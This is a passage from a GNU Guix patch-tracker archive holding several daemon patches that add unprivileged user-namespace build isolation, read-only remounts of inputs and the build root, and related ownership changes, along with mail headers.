@@ -744,6 +744,10 @@ private:
 
     friend int childEntry(void *);
 
+    /* Pipe to notify readiness to the child process when using unprivileged
+       user namespaces.  */
+    Pipe readiness;
+
     /* Check that the derivation outputs all exist and register them
        as valid. */
     void registerOutputs();
@@ -1619,6 +1623,24 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child,
+				    uid_t hostUID = getuid(),
+				    gid_t hostGID = getgid())
+{
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1682,7 +1704,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1799,7 +1821,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1818,8 +1840,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1854,7 +1876,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1960,14 +1982,34 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	if ((flags & CLONE_NEWUSER) != 0) {
+	     /* Initialize the UID/GID mapping of the child process.  */
+	     initializeUserNamespace(pid);
+	     writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	}
     } else
 #endif
     {
@@ -2013,23 +2055,34 @@ void DerivationGoal::runChild()
 
         _writeToStderr = 0;
 
+	if (readiness.readSide > 0) {
+	     /* Wait for the parent process to initialize the UID/GID mapping
+		of our user namespace.  */
+	     char str[20] = { '\0' };
+	     readFull(readiness.readSide, (unsigned char*)str, 3);
+	     if (strcmp(str, "go\n") != 0)
+		  throw Error("failed to initialize process in unprivileged user namespace");
+	}
+
         restoreAffinity();
 
         commonChildInit(builderOut);
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2180,6 +2233,27 @@ void DerivationGoal::runChild()
 	    /* Remount root as read-only.  */
             if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
                 throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
+
+	    if (getuid() != 0) {
+		/* Create a new mount namespace to "lock" previous mounts.
+		   See mount_namespaces(7).  */
+		auto uid = getuid();
+		auto gid = getgid();
+
+		if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
+		    throw SysError(format("creating new user and mount namespaces"));
+
+		initializeUserNamespace(getpid(), uid, gid);
+
+		/* Check that mounts within the build environment are "locked"
+		   together and cannot be separated from within the build
+		   environment namespace.  Since
+		   umount(2) is documented to fail with EINVAL when attempting
+		   to unmount one of the mounts that are locked together,
+		   check that this is what we get.  */
+		int ret = umount(tmpDirInSandbox.c_str());
+		assert(ret == -1 && errno == EINVAL);
+	    }
         }
 #endif
 
@@ -2476,8 +2550,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2736,16 +2818,46 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		bool reown = false;
+
+		/* First remove setuid/setgid bits.  */
+		secureFilePerms(tmpDir);
+
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			reown = true;
+		    }
+
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
+		    if (reown) chown(tmpDir.c_str(), getuid(), getgid());
+
 		    // Rename tmpDir to its parent, with an intermediate step.
 		    string pivot = top + ".pivot";
 		    if (rename(top.c_str(), pivot.c_str()) == -1)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (reown)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbce..83e6c3e16e 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, maxim.cournoyer@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:08 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:07 2025
Received: from localhost ([127.0.0.1]:36037 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Ad-0004Ro-0f
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:07 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56584)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AO-0004Ou-7U
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:52 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AI-0001yf-Pm; Fri, 14 Mar 2025 13:49:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=wZDaJpSBiec4HWURn73Fvz7bhdz1AmvaDkV9vu9Mxas=; b=Wgbn8aA26jwmIJfRLGDy
 Q4ZXa7YQl4XpZ+JrvAHYM5LCKM9znFPedKEUYR20Y+FOqRHEyExU7fpYn38kmNn0TwYStjNvThNpz
 lRdxgIuij6PlbLu5++eDIfoyW+laQwpsAPZtZFUrl8IcOXD0krBPlHdXjN6rZZvZZzCHXAwJPPukO
 O4OH3LRrg/+E23cRJRsznuOuBXRkgOJdHJFhTH1ioFpm9C4f6v6kl8XQvAaNvIBejv8puyP0vzv+W
 jtTivZJfI8yPWeSlneJcz/cwiTxazbEI18V4Vc6Wn6SI6D4QZ0LKK1boVsghoawhUYGRQu8sL/j0V
 Un+rhCQpWCrm3Q==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 07/14] daemon: Create /var/guix/profiles/per-user
 unconditionally.
Date: Fri, 14 Mar 2025 18:48:04 +0100
Message-ID: <f9250ac8847822dd25562daf2975acd87abedb8e.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 83e6c3e16e..f6540c2117 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:07 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:07 2025
Received: from localhost ([127.0.0.1]:36034 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9Ab-0004Rc-Ti
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:06 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56554)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AH-0004OH-Ef
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:49 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AB-0001xm-Bf; Fri, 14 Mar 2025 13:49:39 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=OHeVSHlKl++yMNnhWaubdTXXSn3UUkG8AbIkWMisgq8=; b=qe02UEo+E68VDIFbgIp/
 OhKt97sgCqgY1fMQjxjOxwHBqpKpKmvMQlIzurHbOl66tub74qgitQ5eakLn9ZCIv/pCZXEnbZy/Q
 zC4zIcwu1Xu19M0judXDOOEtMQkAkAN3ECJxc/BNj1ynom3auSWyijHeXSeW1FCfk5RfAkDoAE4t0
 SvpEtk1NeiJdkMBznMoOeoYs4Cir34TnYf5uv6QOOHppzN/ISDqDKfMH3nUkyTyju1DS++BhEQ/Wt
 aUMYXUMmWR/D4AbiR3trQRlXvUerHvxcqSw5XHkT+3abPYiPfFZk3HTlJVA+WjJo7P/RcOBEGVR9m
 TRSPyp8DeXmgCQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 03/14] daemon: Bind-mount all the inputs,
 not just directories.
Date: Fri, 14 Mar 2025 18:48:00 +0100
Message-ID: <30fc8ecc23bcb583a30d869bd9c229b775a34ef1.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -1.8 (-)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.8 (--)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of
‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files.
Special-case symlinks.
(DerivationGoal)[regularInputPaths]: Remove.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56
---
 nix/libstore/build.cc | 39 ++++++++++++++-------------------------
 1 file changed, 14 insertions(+), 25 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 8ca5e5b732..193b279b88 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -659,9 +659,6 @@ private:
     /* RAII object to delete the chroot directory. */
     std::shared_ptr<AutoDelete> autoDelChroot;
 
-    /* All inputs that are regular files. */
-    PathSet regularInputPaths;
-
     /* Whether this is a fixed-output derivation. */
     bool fixedOutput;
 
@@ -1850,9 +1847,7 @@ void DerivationGoal::startBuilder()
 
         /* Make the closure of the inputs available in the chroot,
            rather than the whole store.  This prevents any access
-           to undeclared dependencies.  Directories are bind-mounted,
-           while other inputs are hard-linked (since only directories
-           can be bind-mounted).  !!! As an extra security
+           to undeclared dependencies.  !!! As an extra security
            precaution, make the fake store only writable by the
            build user. */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
@@ -1863,28 +1858,22 @@ void DerivationGoal::startBuilder()
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
-            struct stat st;
+	    struct stat st;
             if (lstat(i->c_str(), &st))
                 throw SysError(format("getting attributes of path `%1%'") % *i);
-            if (S_ISDIR(st.st_mode))
-                dirsInChroot[*i] = *i;
-            else {
-                Path p = chrootRootDir + *i;
-                if (link(i->c_str(), p.c_str()) == -1) {
-                    /* Hard-linking fails if we exceed the maximum
-                       link count on a file (e.g. 32000 of ext3),
-                       which is quite possible after a `nix-store
-                       --optimise'. */
-                    if (errno != EMLINK)
-                        throw SysError(format("linking `%1%' to `%2%'") % p % *i);
-                    StringSink sink;
-                    dumpPath(*i, sink);
-                    StringSource source(sink.s);
-                    restorePath(p, source);
-                }
 
-                regularInputPaths.insert(*i);
-            }
+	    if (S_ISLNK(st.st_mode)) {
+		/* Since bind-mounts follow symlinks, thus representing their
+		   target and not the symlink itself, special-case
+		   symlinks. XXX: When running unprivileged, TARGET can be
+		   deleted by the build process.  Use 'open_tree' & co. when
+		   it's more widely available.  */
+                Path target = chrootRootDir + *i;
+		if (symlink(readLink(*i).c_str(), target.c_str()) == -1)
+		    throw SysError(format("failed to create symlink '%1%' to '%2%'") % target % readLink(*i));
+	    }
+	    else
+		dirsInChroot[*i] = *i;
         }
 
         /* If we're repairing, checking or rebuilding part of a
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:06 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:05 2025
Received: from localhost ([127.0.0.1]:36030 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9AZ-0004Qz-78
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:05 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56568)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AM-0004Ob-1i
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:50 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AE-0001y3-HA; Fri, 14 Mar 2025 13:49:42 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=ozQM+lYqSSPDiTg6Dp/w4oPIGKDs4CrGaOeKp99rZWg=; b=Y0ED6kK0RtGST4cPwnjd
 Ao+wJWQ7PEE+lyNXYE+KWeSBL91YYLbqJHnOpEodnGZ9L5XLK2B/D/yh4hR84loaXSJDOksAYp8X7
 TIeb/266/rXa2xNVhF08oSBAOuw8trZSozJ8h+6oPWDJzLh4Rl4p6Why0pwpVdP02mp++5wfj7VdK
 j8XuIxVpm0M9hKIrSv6Y28QzwFk6FWGfCs9wSC//+zawzV5XKnDiAF7qBJsovHf0XgaxcfRLiwzSw
 R+Gk3utY4yRIuxhV8Ii41tanN83Se44L43D2I/98RSmT4lXfbxy14iW3QnAauffkdSex9mc0e8tBd
 /O9dBRE+JzBPjQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 04/14] daemon: Remount inputs as read-only.
Date: Fri, 14 Mar 2025 18:48:01 +0100
Message-ID: <ecc7252671bae3ef4e9c13dc35ebd1656fda884c.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -1.8 (-)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.8 (--)

* nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as
read-only.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666
---
 nix/libstore/build.cc | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 193b279b88..3861a1ffd9 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2107,8 +2107,15 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
+
+		/* Extra flags passed with MS_BIND are ignored, hence the
+		   extra MS_REMOUNT.  */
                 if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
+		if (source.compare(0, settings.nixStore.length(), settings.nixStore) == 0) {
+		     if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+			  throw SysError(format("read-only remount of `%1%' failed") % target);
+		}
             }
 
             /* Bind a new instance of procfs on /proc to reflect our
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:50:03 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:50:03 2025
Received: from localhost ([127.0.0.1]:36025 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9AY-0004Qn-EF
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:50:03 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56564)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AL-0004OZ-3n
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:49 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AF-0001yK-IX; Fri, 14 Mar 2025 13:49:43 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=3sOVW5n0d1cSpQd8PLRrsmflCadSWuH5XwPCIe/iTyM=; b=GyLCF5yPm8l/EQKWhuEC
 1fmiYWpvO860bBLogwUO75G5FcJO8SX47FqZkUoTettA98AjJAo+wGmKsqhlGl7XZ+vl1h0+gNdyc
 bpk1Abgs8vcjc7ZR+ueIRyD0CR7Yd6vPdPDCTaGh38stJdAtTGFZiIHoygC1nIfBC/COyGL5Zzped
 yyt+3rPE9N+ZmAp62Qo8s8JWtQorbCK5up2wTXdRYsh87z4uJJM2P92i5+0ilxwlzy6INrtkoQGwc
 iZ0eYg+jnU31Jfrl2bvv8I5Frq5fpd8se73Hz0DV9BUVO1gJCb1t8t9sr383FxPe6TBRsqdd449rc
 g33qS7ULaCw+3w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 05/14] daemon: Remount root directory as read-only.
Date: Fri, 14 Mar 2025 18:48:02 +0100
Message-ID: <e9761dd9d4842617fa5d7f1996e354b0c7a877af.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
